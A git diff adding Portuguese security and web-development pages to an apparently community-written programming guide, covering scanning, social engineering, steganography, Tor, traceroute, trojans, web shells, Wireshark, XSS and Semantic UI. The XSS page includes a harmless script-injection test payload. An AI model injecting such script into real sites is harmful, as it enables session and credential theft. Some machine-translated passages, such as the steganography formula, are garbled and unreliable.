+Diferentes protocolos da Internet exigem diferentes métodos de varredura; por exemplo, escanear uma rede [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) seria diferente de escanear uma rede [UDP](https://en.wikipedia.org/wiki/User_Datagram_Protocol) .
+
+As varreduras TCP geralmente aproveitam a maneira como o TCP opera e como o TCP passa por um "handshake" para iniciar a comunicação em uma rede:
+
+1.  Um dispositivo (Host A) enviará uma mensagem `SYN` em uma tentativa de se comunicar através de uma rede com outro dispositivo (Servidor B)
+2.  B precisa responder a A com um `SYN` e um `ACK` para confirmar o pedido de A para iniciar a comunicação
+3.  A precisa enviar de volta uma mensagem `ACK` para reconhecer a resposta de B
+4.  A comunicação pode então começar
+
+Ao longo desta comunicação, há pedaços de informação que cada participante envia na tentativa de iniciar a conversa.
+
+Observe que você também pode verificar redes IPv6 (o IPv6 aumenta o tamanho do endereço IP para disponibilizar muito mais endereços).
+
+Existem muito mais tipos de [varreduras](https://nmap.org/bennieston-tutorial/) que abusam ainda mais do processo do TCP Handshake. Estes incluem varreduras IDLE, varreduras de árvores de Natal, varreduras TCP Inversas e Varreduras Completas.
+
+## Digitalização em testes de penetração
+
+A digitalização é a segunda fase das cinco fases típicas dos testes de penetração. A fase de varredura requer a aplicação de ferramentas técnicas para obter mais informações sobre o seu alvo, mas, neste caso, a informação solicitada é mais comumente relacionada aos sistemas que eles possuem. 1
+
+Existem três objetivos principais:
+
+1.  Determinando se um sistema está vivo
+2.  Porta de varredura do sistema
+3.  Verificando o sistema em busca de vulnerabilidades 2
+
+### Determinando se o sistema está vivo
+
+Uma maneira de determinar se o sistema de destino está ativo é usando o comando **ping** , conforme mencionado na técnica de varredura de ping acima.
+
+Por exemplo:
+```
+ping <target_ip_address> -c <number_of_packets_to_send> 
+ ping 10.10.0.1 -c 4 
+```
+
+Se o sistema de destino estiver ativo, você deve obter uma resposta semelhante à mostrada abaixo.
+```
+Pinging 10.10.0.1 with 32 bytes of data: 
+ 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Ping statistics for 10.10.0.1: 
+    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
+ Approximate round trip times in milliseconds: 
+    Minimum = 26ms, Maximum = 26ms, Average = 26ms 
+```
+
+*   **Reply from** indica que nosso pacote ICMP Echo Request foi recebido e um pacote ICMP Echo Reply foi enviado de volta.
+*   **Bytes = 32** nos diz que o tamanho do pacote que foi enviado.
+*   **time = 26ms** nos permite saber como o tempo combinado levou o pacote ICMP Echo Request para chegar ao destino e que o pacote ICMP Echo Reply retornou à nossa máquina.
+*   **TTL = 240** é um valor Time To Live que nos informa o número máximo de saltos que o pacote levaria antes de cair.
+
+## Ferramentas de Digitalização
+
+Existem muitas ferramentas disponíveis para digitalizar, mas uma das mais comuns é o `nmap` . É uma ferramenta útil com funções como obter informações sobre hosts ativos em uma rede, serviços em execução e os tipos e versões do sistema operacional em uso.
+
+## Mais Informações:
+
+*   Como fazer ping no Linux https://www.wikihow.com/Ping-in-Linux
+*   [Vídeo de Gordon Lyon aka Fydor, o criador da ferramenta nmap](https://www.youtube.com/watch?v=Hk-21p2m8YY)
+
+## Fontes
+
+1.  Resumindo as cinco fases do teste de penetração. (2015, 06 de maio). Recuperado em 26 de outubro de 2017, em https://www.cybrary.it/2015/05/summarizing-the-five-phases-of-penetration-testing/
+
+3.  Engebretson, P. (2013). As noções básicas de testes de invasão e hacking: Hacking ético e testes de penetração simplificados. 2. Syngress.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/social-engineering/index.md b/client/src/guide/portuguese/security/social-engineering/index.md
new file mode 100644
index 0000000000..2c70ceaa6b
--- /dev/null
+++ b/client/src/guide/portuguese/security/social-engineering/index.md
@@ -0,0 +1,50 @@
+---
+title: Social Engineering
+localeTitle: Engenharia social
+---
+## Engenharia social
+
+Engenharia Social é a arte de obter acesso a um sistema ou recurso seguro, explorando o comportamento humano. Envolve enganar as pessoas para que quebrem os procedimentos normais de segurança. A maioria dos vetores de ataque depende muito de alavancar habilidades técnicas para encontrar falhas no sistema de segurança. A engenharia social depende muito de ter uma boa compreensão da psicologia humana. Investigar minuciosamente o alvo antes de um ataque torna a engenharia social uma ferramenta poderosa nas mãos do atacante.
+
+#### Traços de um bom hacker de engenharia social
+
+*   Demonstra alta inteligência emocional
+*   Compreensão intuitiva da psicologia humana
+*   Encantador e persuasivo
+*   Paciente e observador
+*   Adepto na previsão do comportamento humano baseado na exploração da necessidade humana de ser útil, curioso, ganancioso e vaidoso
+
+#### Alguns exemplos de hacks de engenharia social
+
+*   Baiting: Deixando um malware infectado por USB em um café, na esperança de que alguém esteja curioso o suficiente para conectá-lo e verificá-lo. Quando a pessoa conecta o USB, o malware é instalado no computador. Veja "Mais Informações" para uma palestra da Black Hat sobre deixar drives USB infectados para trás para possíveis alvos e os resultados de tais ataques.
+    
+*   Pretexting: Dizendo mentiras para obter acesso a informações privadas. Um exemplo seria se passar por um funcionário do banco e pedir informações pessoais às pessoas para "confirmar sua conta". Veja "Mais informações" para um exemplo de pré-mensagens de texto em que um engenheiro social faz alterações na conta de telefone celular de um alvo com poucas informações conhecidas.
+    
+*   Phishing: envio de um email que parece ser de uma fonte confiável para atrair o usuário a clicar em um link (para instalar malware) ou responder com informações particulares. Consulte "Mais informações" para um link para testar seu conhecimento de phishing e ver se você pode diferenciar entre um e-mail real e um e-mail de phishing.
+    
+*   Infiltrando: fazendo-se passar por alguém legítimo, a fim de obter acesso físico a um prédio / escritório, etc., por exemplo, a pessoa encarregada da reparação da máquina de café
+    
+
+#### Prevenção e Segurança
+
+Como a Engenharia Social requer pouca experiência em computadores, é uma ferramenta prontamente disponível para pessoas que desejam acessar dados confidenciais.
+
+As etapas que um indivíduo pode tomar para se proteger desses ataques incluem:
+
+*   Evite compartilhar dados confidenciais, se possível.
+*   Se você precisar compartilhar, verifique a fonte antes de fornecer dados confidenciais.
+*   Esteja ciente de e-mails aleatórios ou números de telefone que alegam ser amigos, familiares, colegas de trabalho, institutos, etc.
+*   Esteja ciente das pessoas na vida real pedindo informações que elas não deveriam necessariamente exigir.
+*   Destrua documentos importantes antes de jogá-los fora.
+
+Em geral, quanto mais você souber sobre esses ataques, mais bem preparado você estará. Seja consciente de com quem você compartilha informações e por quê.
+
+#### Mais Informações:
+
+*   [O que é engenharia social?](https://www.webroot.com/us/en/home/resources/tips/online-shopping-banking/secure-what-is-social-engineering)
+*   [Proteja-se dos ataques de engenharia social](http://www.makeuseof.com/tag/protect-8-social-engineering-attacks/)
+*   [7 melhores ataques de engenharia social](https://www.darkreading.com/the-7-best-social-engineering-attacks-ever/d/d-id/1319411?)
+*   [Hacking Humans: Técnicas de Engenharia Social e como se proteger contra elas](https://www.youtube.com/watch?v=YVqurfWzB-Q)
+*   [O Dropping USB Drives em estacionamentos e outros lugares realmente funciona?](https://www.youtube.com/watch?v=XJCQBqTmGUU)
+*   [Exemplo de Pretexting](https://www.youtube.com/watch?v=lc7scxvKQOo)
+*   [Teste seu QI de Phishing](https://www.sonicwall.com/en-us/phishing-iq-test)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/steganography/index.md b/client/src/guide/portuguese/security/steganography/index.md
new file mode 100644
index 0000000000..c97909331e
--- /dev/null
+++ b/client/src/guide/portuguese/security/steganography/index.md
@@ -0,0 +1,39 @@
+---
+title: Steganography
+localeTitle: Esteganografia
+---
+## Esteganografia
+
+Esteganografia é o conceito de conciliar texto, imagens, arquivos ou vídeos em outros textos, imagens, arquivos ou vídeos. Um exemplo offline disso é usar "tinta invisível" para ocultar uma mensagem entre as linhas de uma letra. Suco de limão é um candidato popular para tinta invisível: [tinta invisível de suco de limão](https://www.youtube.com/embed/poCnU_crpjQ)
+
+A fórmula a seguir fornece uma descrição muito genérica das partes do processo esteganográfico:
+
+cobrir _médio +_ dados _ocultos_ + _chave_ esteganografia _\= stegonography_ medium
+
+Nesse contexto, a _mídia de_ capa _é o arquivo que obscurece os_ dados _ocultos_ , que também podem ser criptografados usando a _chave_ steganography _. O arquivo resultante é o_ meio de _esteganografia_ . A _mídia de_ capa _(e, portanto, o_ meio de _esteganografia_ ) geralmente são arquivos de imagem ou de áudio.
+
+### Esteganografia em imagens
+
+Nos computadores, as imagens são armazenadas como arquivos binários. Eles contêm uma representação binária da cor ou intensidade de luz de cada elemento de imagem (pixel) que compõe a imagem. Por exemplo, esta imagem de um cachorro:
+
+![cão esquimó americano](https://upload.wikimedia.org/wikipedia/commons/4/47/American_Eskimo_Dog.jpg)
+
+pode começar com algo como:
+```
+10010101   00001101   11001001 
+ 10010110   00001111   11001010 
+ 10011111   00010000   11001011 
+ ... 
+```
+
+A abordagem mais simples para ocultar dados em um arquivo de imagem é chamada de inserção de bit menos significativo (LSB). Neste método, podemos pegar a representação binária dos _dados_ ocultos _e sobrescrever o LSB de cada byte dentro da_ imagem _da capa_ . Se estivermos usando cores de 24 bits, a quantidade de alterações será mínima e indistinguível para o olho humano.
+
+Embora o JPEG possa ser usado para aplicativos stego, é mais comum incorporar dados em arquivos GIF ou BMP. GIF e arquivos BMP de 8 bits empregam o que é conhecido como compactação sem perdas, um esquema que permite ao software reconstruir exatamente a imagem original. O JPEG, por outro lado, usa compactação com perdas, o que significa que a imagem expandida é quase a mesma que a original, mas não uma cópia exata.
+
+Esta breve demonstração permitirá que você configure a codificação de texto em uma imagem! https://github.com/edwdryer/steganography-demo Você pode ler mais sobre esteganografia em imagens aqui: http://www.garykessler.net/library/steganography.html
+
+### Esteganografia em áudio
+
+Esteganografia de áudio é uma técnica usada para transmitir informações ocultas, modificando um sinal de áudio de uma maneira imperceptível.
+
+Esta postagem do blog fornece um exemplo de esconder uma imagem em um arquivo de áudio (wow)! https://solusipse.net/blog/post/basic-methods-of-audio-steganography-spectrograms/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/tools/index.md b/client/src/guide/portuguese/security/tools/index.md
new file mode 100644
index 0000000000..ecb8bf7c2a
--- /dev/null
+++ b/client/src/guide/portuguese/security/tools/index.md
@@ -0,0 +1,11 @@
+---
+title: Security Tools
+localeTitle: Ferramentas de Segurança
+---
+## Ferramentas de Segurança
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/security/tools/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/tor/index.md b/client/src/guide/portuguese/security/tor/index.md
new file mode 100644
index 0000000000..17b4f459ab
--- /dev/null
+++ b/client/src/guide/portuguese/security/tor/index.md
@@ -0,0 +1,26 @@
+---
+title: Tor (The Onion Router)
+localeTitle: Tor (o roteador de cebola)
+---
+![Tor Logo](https://upload.wikimedia.org/wikipedia/commons/thumb/1/15/Tor-logo-2011-flat.svg/2000px-Tor-logo-2011-flat.svg.png)
+
+## Tor
+
+Tor significa "The Onion Router", que é um software gratuito que ajuda a anonimizar o uso da Internet por seus usuários, mantido pelo Tor Project.
+
+Além do Onion Router, o Tor Project mantém um pacote de software, principalmente um navegador da Web, que também é chamado Tor.
+
+A Onion Network funciona enviando solicitações de um usuário por meio de uma grande rede de computadores voluntários do mundo. Ele envia as solicitações através do sistema criptografado, apenas descriptografando-as quando chegam ao 'nó de saída', o último computador da rede para qualquer solicitação antes que a solicitação seja enviada ao seu destino. Isso faz com que a mensagem pareça vir de algum lugar diferente daquele em que ela realmente se originou.
+
+Tor tem muitos casos de uso. Jornalistas que relatam áreas onde suas vidas podem ser ameaçadas pela natureza das histórias que estão quebrando, denunciantes e pessoas que vivem em regimes opressivos se encaixam nos casos de uso mais benignos do Tor, junto com qualquer pessoa mais interessada no anonimato online.
+
+Tor recebeu muita atenção negativa devido ao seu caso de uso criminal. Os criminosos, como os traficantes de drogas, podem e costumam usar o Tor para encobrir seus rastros, e para criar "mercados escuros" para vender seus produtos sem comprometerem a si mesmos. Os desligamentos de 2017 da AlphaBay e da Hansa certamente provam que isso é dificilmente infalível.
+
+Edward Snowden, o denunciante da NSA, mencionou Tor favoravelmente como um programa muito bem organizado. Famosa, um memorando interno da NSA que vazou referiu-se a ele como "o rei do anonimato da Internet de alta latência e alta segurança. Não há candidatos ao trono à espera".
+
+Tor tem muitos outros casos. Jornalistas que relatam em áreas onde suas vidas podem ser ameaçadas pela natureza das histórias que estão quebrando, denunciantes e pessoas que vivem em regimes opressivos se encaixam nos casos mais benignos de Tor, junto com qualquer pessoa mais interessada no anonimato online. Isso é importante porque as coisas cotidianas nos fazem perder mais e mais da pouca privacidade que nos resta, coisas como a TOR garantem um futuro melhor.
+
+#### Mais Informações:
+
+[O Projeto Tor](https://www.torproject.org)  
+[NSA e GCHQ tentam quebrar o Tor](https://www.theguardian.com/world/2013/oct/04/nsa-gchq-attack-tor-network-encryption)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/traceroute/index.md b/client/src/guide/portuguese/security/traceroute/index.md
new file mode 100644
index 0000000000..127c6f06c3
--- /dev/null
+++ b/client/src/guide/portuguese/security/traceroute/index.md
@@ -0,0 +1,65 @@
+---
+title: Traceroute
+localeTitle: Traceroute
+---
+**Índice**
+
+*   [Traceroute](#traceroute)
+*   [Como os dados trafegam pela internet](#how-data-travels-across-the-internet)
+*   [Alguns exemplos para uso](#some-examples-for-usage)
+*   [Mais Informações](#more-information)
+
+## Traceroute
+
+Traceroute é uma ferramenta de diagnóstico de rede de computadores para exibir a rota (caminho) e medir atrasos de trânsito de pacotes através de uma rede IP (Internet Protocol). O histórico da rota é registrado como os tempos de ida e volta dos pacotes recebidos de cada host sucessivo (nó remoto) na rota (caminho); A soma dos tempos médios em cada salto é uma medida do tempo total gasto para estabelecer a conexão. O traceroute continua a menos que todos os pacotes (três) enviados sejam perdidos mais de duas vezes, a conexão seja perdida e a rota não possa ser avaliada. Ping, por outro lado, calcula apenas os tempos finais de ida e volta a partir do ponto de destino.
+
+#### Como os dados trafegam pela internet
+
+Cada computador no traceroute é identificado por seu endereço IP, que é o número de nove dígitos separado por pontos que identifica a conexão de rede exclusiva desse computador. Aqui estão alguns detalhes sobre um traceroute:
+```
+- The journey from one computer to another is known as a hop. 
+ - The amount of time it takes to make a hop is measured in milliseconds. 
+ - The information that travels along the traceroute is known as a packet. 
+```
+
+Uma leitura traceroute normalmente exibirá três colunas separadas para o tempo de salto, já que cada traceroute envia três pacotes separados de informações para cada computador. No topo da lista, o traceroute dará o limite de quantas linhas de saltos ele exibirá - 30 saltos é geralmente o número máximo.
+
+Quando um traceroute tiver dificuldade em acessar um computador, ele exibirá a mensagem "Solicitação expirada". Cada uma das colunas do hop exibirá um asterisco em vez de uma contagem em milissegundos.
+
+#### Alguns exemplos para uso
+
+A maioria das implementações inclui pelo menos opções para especificar o número de consultas a serem enviadas por salto, o tempo de espera por uma resposta, o limite de saltos e a porta a ser usada. Invocar traceroute sem opções especificadas exibe a lista de opções disponíveis, enquanto o homem traceroute apresenta mais detalhes, incluindo os sinalizadores de erro exibidos. Exemplo simples no Linux:
+```
+[root@example ~]#  traceroute -w 3 -q 1 -m 16 www.google.com 
+ traceroute to www.google.com (216.58.200.36), 16 hops max, 60 byte packets 
+ 1  192.168.4.2 (192.168.4.2)  0.136 ms 
+ 2  * 
+ 3  * 
+ 4  * 
+ 5  * 
+ 6  * 
+ 7  * 
+ 8  * 
+ 9  * 
+ 10  * 
+ 11  * 
+ 12  * 
+ 13  * 
+ 14  * 
+ 15  * 
+ 16  * 
+```
+
+No exemplo acima, as opções selecionadas são esperar por três segundos (em vez de cinco), enviar apenas uma consulta para cada salto (em vez de três), limitar o número máximo de saltos para 16 antes de desistir (em vez de 30), com www.google.com como host final.
+
+Isso pode ajudar a identificar definições de tabela de roteamento incorretas ou firewalls que possam estar bloqueando o tráfego ICMP, ou UDP de porta alta em ping Unix, para um site. Observe que um firewall pode permitir pacotes ICMP, mas não permitir pacotes de outros protocolos.
+
+O traceroute também é usado por testadores de penetração para coletar informações sobre a infraestrutura de rede e os intervalos de IP em torno de um determinado host.
+
+Ele também pode ser usado durante o download de dados e, se houver vários espelhos disponíveis para o mesmo fragmento de dados, é possível rastrear cada espelho para obter uma boa idéia de qual espelho seria o mais rápido a ser usado.
+
+#### Mais Informações
+
+Leia mais informações sobre Traceroute:
+
+*   [Como usar o TRACERT no Windows](https://support.microsoft.com/en-us/help/314868/how-to-use-tracert-to-troubleshoot-tcp-ip-problems-in-windows) - [Como usar o TRACERT no Linux](https://www.lifewire.com/traceroute-linux-command-4092586)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/trojans/index.md b/client/src/guide/portuguese/security/trojans/index.md
new file mode 100644
index 0000000000..166e8adb9d
--- /dev/null
+++ b/client/src/guide/portuguese/security/trojans/index.md
@@ -0,0 +1,34 @@
+---
+title: Trojans
+localeTitle: Trojans
+---
+## Trojans
+
+### O que é um Trojan?
+
+Trojans são programas ou softwares que enganam o usuário quanto ao seu verdadeiro propósito. Eles são muitas vezes maliciosos ou prejudiciais.
+
+Um exemplo é um programa que você baixa da Internet, que afirma ser um editor de imagens, mas, na verdade, quando você o abre, o malware é espalhado no seu computador.
+
+### O que os troianos fazem?
+
+*   **Criando backdoors: os** Trojans normalmente fazem alterações no seu sistema de segurança para que outros malwares ou até mesmo hackers possam entrar.
+*   **Espionagem:** Alguns Trojans são essencialmente spyware projetados para aguardar até que você acesse suas contas on-line ou insira seus detalhes de cartão de crédito e, em seguida, envie suas senhas e outros dados de volta ao seu mestre.
+*   **Transforme seu computador em um zumbi!** às vezes, um hacker não está interessado em você, mas apenas quer usar seu computador como escravo em uma rede sob seu controle.
+*   **Envie mensagens SMS caras:** até smartphones recebem Trojans, e a forma mais comum de os criminosos ganharem dinheiro é usá-los para fazer com que seu telefone envie mensagens SMS caras para números premium.
+
+### Importância para desenvolvedores
+
+Como desenvolvedor, é particularmente importante estar ciente dos cavalos de Tróia e como eles se espalham. Os cavalos de Troia geralmente são instalados por meio de "drive-by-downloads" em sites legítimos. Se o invasor obtiver acesso ao ambiente de hospedagem do seu site, poderá fazer alterações sutis em seu código, fazendo com que o cavalo de Tróia seja baixado automaticamente pelos visitantes do seu site.
+
+### Como é um Trojan?
+
+Pode parecer com qualquer coisa. Principalmente arquivos baixados do site não confiável.
+
+### Como me protejo contra os Trojans?
+
+Ficar longe de sites não confiáveis, materiais pirateados e links suspeitos. Se você realmente quer ficar protegido, você pode usar softwares de terceiros como o software anti-malware.
+
+#### Mais Informações:
+
+[Cavalo de Tróia (computação) na Wikipedia](https://en.wikipedia.org/wiki/Trojan_horse_(computing)) [Princípios básicos do Cavalo de Tróia - por AVG](https://www.avg.com/en/signal/what-is-a-trojan)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/vpn/index.md b/client/src/guide/portuguese/security/vpn/index.md
new file mode 100644
index 0000000000..a83567ee4a
--- /dev/null
+++ b/client/src/guide/portuguese/security/vpn/index.md
@@ -0,0 +1,11 @@
+---
+title: VPNs
+localeTitle: VPNs
+---
+## VPNs
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/security/vpn/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/web-shells/index.md b/client/src/guide/portuguese/security/web-shells/index.md
new file mode 100644
index 0000000000..41dab091ed
--- /dev/null
+++ b/client/src/guide/portuguese/security/web-shells/index.md
@@ -0,0 +1,20 @@
+---
+title: Web Shell
+localeTitle: Web Shell
+---
## Web Shell
+
+### O que é um Web Shell?
+
+É um tipo de malware.É um shell que você pode executar comandos no servidor web.
+
+### O que o Web Shell faz?
+
+*   Na verdade, você pode fazer coisas demais com web shells, você pode acessar o banco de dados e você pode despejar todos os dados, você pode excluir algo no servidor ou adicionar algo (como backdoor). Na verdade, isso é sobre seus recursos de web shells, que você usou ou criou.
+
+### Como é um Web Shells?
+
+Pode parecer com o arquivo .php ou com o arquivo .asp sobre o seu servidor web (pode ser o servidor linux ou windows).
+
+### Como me protejo contra os WebShells?
+
+Fique longe do código de espaguete, use um padrão de desenho conhecido em seus projetos e, em geral, cuide dos seus formulários de upload html filtrar o que você carrega no seu servidor e não confiar nos usuários.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/wireshark/index.md b/client/src/guide/portuguese/security/wireshark/index.md
new file mode 100644
index 0000000000..56151a8472
--- /dev/null
+++ b/client/src/guide/portuguese/security/wireshark/index.md
@@ -0,0 +1,56 @@
+---
+title: Wireshark
+localeTitle: Wireshark
+---
+## Wireshark
+
+O Wireshark é um aplicativo analisador de rede de código aberto que está disponível para Linux, macOS e Windows. Ele permite que você "cheire" [pacotes](../../network-engineering/packets/) enviados para e de diferentes nós em uma rede.
+
+#### Por que usar o Wireshark?
+
+O Wireshark é uma ferramenta poderosa, você pode usá-lo para:
+
+*   Saiba como os diferentes protocolos são usados ​​na rede
+*   Resolver problemas de rede
+*   Analise o tráfego que passa pela sua rede
+*   Analise os dados que seu software está comunicando aos servidores remotos
+*   Verifique se os dados estão sendo criptografados adequadamente antes de serem enviados
+*   Desenvolvimento de protocolos de comunicação em rede
+*   Verifique se há [cavalos](../trojans/) de [Tróia](../trojans/) ou outro software mal-intencionado no seu computador
+
+#### Como eu começo?
+
+Para usar o Wireshark em sua forma mais básica:
+
+1.  [Baixe](https://www.wireshark.org/download.html) e instale o aplicativo.
+2.  Selecione a `interface` você gostaria de capturar os pacotes, provavelmente este será seu adaptador ethernet ou WiFi.
+3.  Assista ao lindo fluxo de pacotes codificados por cores e deixe o aplicativo capturá-los pelo tempo que desejar.
+4.  Quando você tiver pacotes suficientes, selecione o botão Parar.
+5.  Salve seus pacotes capturados, se quiser mantê-los para análise contínua. Isso é feito como um arquivo `.pcap` que é um formato padrão para _capturas de pacotes_ .
+
+![Screenshot of Wireshark on MacOS](https://thejayhaykid.github.io/images/Wireshark.png "Wireshark no MacOS")
+
+#### Análise, Filtragem e Inspeção
+
+Agora você tem vários pacotes, mas o que isso significa? As diferentes cores que você viu indicam diferentes tipos de tráfego. Por padrão, algumas das cores são:
+
+*   Roxo claro - Pacotes do Protocolo de Controle de Transmissão (TCP);
+*   Azul claro - pacotes UDP (User Datagram Protocol);
+*   Black - Erros
+
+> Nota: Essas cores podem ser personalizadas, mas lembre-se de que cada pacote pode se encaixar em mais de uma categoria, portanto, você também deve priorizar essas regras.
+
+Filtrar seus pacotes é uma maneira rápida de encontrar o que você está procurando. Basta digitar a entrada de texto na parte superior da janela para mostrar apenas os pacotes que correspondem à sua consulta. Por exemplo, se você estava [olhando para o tráfego HTTPS](https://en.wikiversity.org/wiki/Wireshark/HTTPS) , insira `ssl` no filtro. Isso mostrará todos os pacotes relacionados a conexões HTTPS.
+
+Agora que você encontrou alguns pacotes relevantes, selecione um para ver mais detalhes sobre ele. Dependendo do tipo de pacote que você inspecionar, isso fornecerá muitas informações detalhadas. Alguns detalhes básicos incluem:
+
+*   Protocolo utilizado
+*   Endereço de origem e porta
+*   Endereço de destino e porta
+*   Tempos de resposta
+
+### Mais Informações:
+
+[Wireshark.org](https://www.wireshark.org)  
+[Wireshark - Wikipedia](https://en.wikipedia.org/wiki/Wireshark)  
+[Como usar o Wireshark para capturar, filtrar e inspecionar pacotes - como o geek](https://www.howtogeek.com/104278/how-to-use-wireshark-to-capture-filter-and-inspect-packets/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/security/xss-cross-site-scripting/index.md b/client/src/guide/portuguese/security/xss-cross-site-scripting/index.md
new file mode 100644
index 0000000000..b4b917332b
--- /dev/null
+++ b/client/src/guide/portuguese/security/xss-cross-site-scripting/index.md
@@ -0,0 +1,41 @@
+---
+title: XSS Cross Site Scripting
+localeTitle: XSS Cross Site Scripting
+---
+## XSS Cross Site Scripting
+
+Cross Site Scripting (XSS) é um tipo de injeção de código. É uma das vulnerabilidades mais comuns na web.
+
+O XSS geralmente envolve inserir código em um formulário, parâmetro de url ou em qualquer outro lugar que aceite entrada do usuário que é exibida de volta para os usuários. Por exemplo, imagine um site que mostrasse seu perfil de usuário e você inseriu o `<script>alert("HELLO!");</script>` como seu nome de usuário. Se o site não impedisse o XSS, todas as pessoas que visitaram seu perfil receberiam um pop-up de alerta.
+
+#### Diferentes tipos de XSS
+
+Existem 3 tipos diferentes de XSS.
+
+*   XSS armazenado
+*   XSS reflexivo
+*   XSS baseado em DOM
+
+#### Perigos do XSS
+
+Naturalmente, o exemplo acima não apresenta nenhum perigo imediato para quem visualiza seu perfil. Mas, e se você tivesse intenções mais sinistras? Você pode executar algum javascript para mostrar uma página de login falsa e coletar nomes de usuários e senhas para outros usuários do site, ou simplesmente ler o cookie da sessão se não for seguro. Você pode forçá-los a visitar outros sites ou realizar uma ação.
+
+#### Defenda-se contra o XSS
+
+*   Nunca confie nos dados do usuário
+*   Validar dados não confiáveis ​​(verificar dados válidos, se inválidos, rejeitar em vez de processar)
+*   Valores seguros da lista de permissões (em vez da lista negra)
+*   Sempre codifique a saída
+*   Codificar para o contexto correto (atributos HTML / HTML / CSS / JSS são todos diferentes)
+*   Proteger cookies (somente HTTP e seguro só podem ser lidos pelo servidor)
+*   Implementar uma política de segurança de conteúdo
+
+#### Mais Informações:
+
+Leia mais informações sobre o XSS e os passos que você pode tomar para se proteger são:
+
+[Scripting entre sites (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) )
+
+[Folha de referência de prevenção OWASP XSS (Cross Site Scripting)](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)
+
+[Lição XSS de Hacksplaining](https://www.hacksplaining.com/exercises/xss-stored)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/semantic-ui/index.md b/client/src/guide/portuguese/semantic-ui/index.md
new file mode 100644
index 0000000000..d825dabfbe
--- /dev/null
+++ b/client/src/guide/portuguese/semantic-ui/index.md
@@ -0,0 +1,101 @@
+---
+title: Semantic UI
+localeTitle: IU semântica
+---
+## IU semântica
+
+#### Introdução
+
+Semantic UI é um framework de desenvolvimento front-end similar ao bootstrap projetado para temas. Ele contém componentes semânticos pré-construídos que ajudam a criar layouts bonitos e responsivos usando HTML amigável para humanos.
+
+De acordo com o website da Semantic UI, o framework utiliza HTML conciso, JavaScript intuitivo e depuração simplificada para tornar o desenvolvimento de front-end uma experiência divertida e prazerosa. E integra-se com o React, Angular, Meteor, Ember e muitos outros frameworks para ajudar a organizar a camada de interface do usuário junto com a lógica do aplicativo.
+
+#### Histórico de versões
+
+O primeiro pré-lançamento aparece no github em setembro de 2013, criado por [Jack Lukic](https://github.com/jlukic) .
+
+O Semantic UI `1.x` foi lançado pela primeira vez em novembro de 2014, com a quebra de alterações em pré-lançamentos anteriores.
+
+O Semantic UI `2.x` foi lançado pela primeira vez em junho de 2015 e introduziu o novo ui, várias correções de bugs, aprimoramentos e melhorias de temas padrão.
+
+#### Suporte de Navegador
+
+A versão atual `2.2.x` suporta os seguintes navegadores
+
+*   Últimas 2 versões FF, Chrome, Safari Mac
+*   IE 11+
+*   Android 4.4+, Chrome para Android 44+
+*   iOS Safari 7+
+*   Microsoft Edge 12+
+
+#### Instalação
+
+Existem várias maneiras de instalar a Semantic UI, algumas das formas mais simples são as seguintes:
+
+1.  **Via Content Delivery Network (CDN)**
+
+É de longe o mais fácil para iniciantes. Crie um arquivo HTML como abaixo
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Semantic UI</title> 
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.13/semantic.min.css"> 
+    <!-- Add custom stylesheet here --> 
+  </head> 
+  <body> 
+ 
+    <!-- Write your html code here --> 
+ 
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> 
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.13/semantic.min.js"></script> 
+  </body> 
+ </html> 
+```
+
+`NOTE:` O link CDN acima na linha 5, incluirá todos os componentes disponíveis na interface semântica. Se você deseja instalar um componente específico, [clique aqui](https://cdnjs.com/libraries/semantic-ui) para ver seu respectivo link CDN.
+
+2.  **Usando ferramentas de compilação**
+
+Isto assumirá que você está usando o Ubuntu Linux OS com o `node` e `npm` instalados, para outros sistemas operacionais [clique aqui](https://semantic-ui.com/introduction/getting-started.html)
+
+No diretório do seu projeto, instale o gulp globalmente usando npm
+```
+npm install -g gulp 
+```
+
+Instalar a interface semântica
+```
+npm install semantic-ui --save 
+ cd semantic/ 
+ gulp build 
+```
+
+Incluir no HTML
+
+```html
+
+<link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css"> 
+ <script src="https://code.jquery.com/jquery-3.1.1.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script> 
+ <script src="semantic/dist/semantic.min.js"></script> 
+```
+
+Atualizar via npm
+```
+npm update 
+```
+
+3.  **Integrando com outros Frameworks**
+
+Você pode integrar a Semantic UI a outras estruturas de desenvolvimento front-end, como React, Angular, Ember ou Meteor. [Clique aqui](https://semantic-ui.com/introduction/integrations.html) para mais informações e instruções de integração.
+
+#### Mais Informações
+
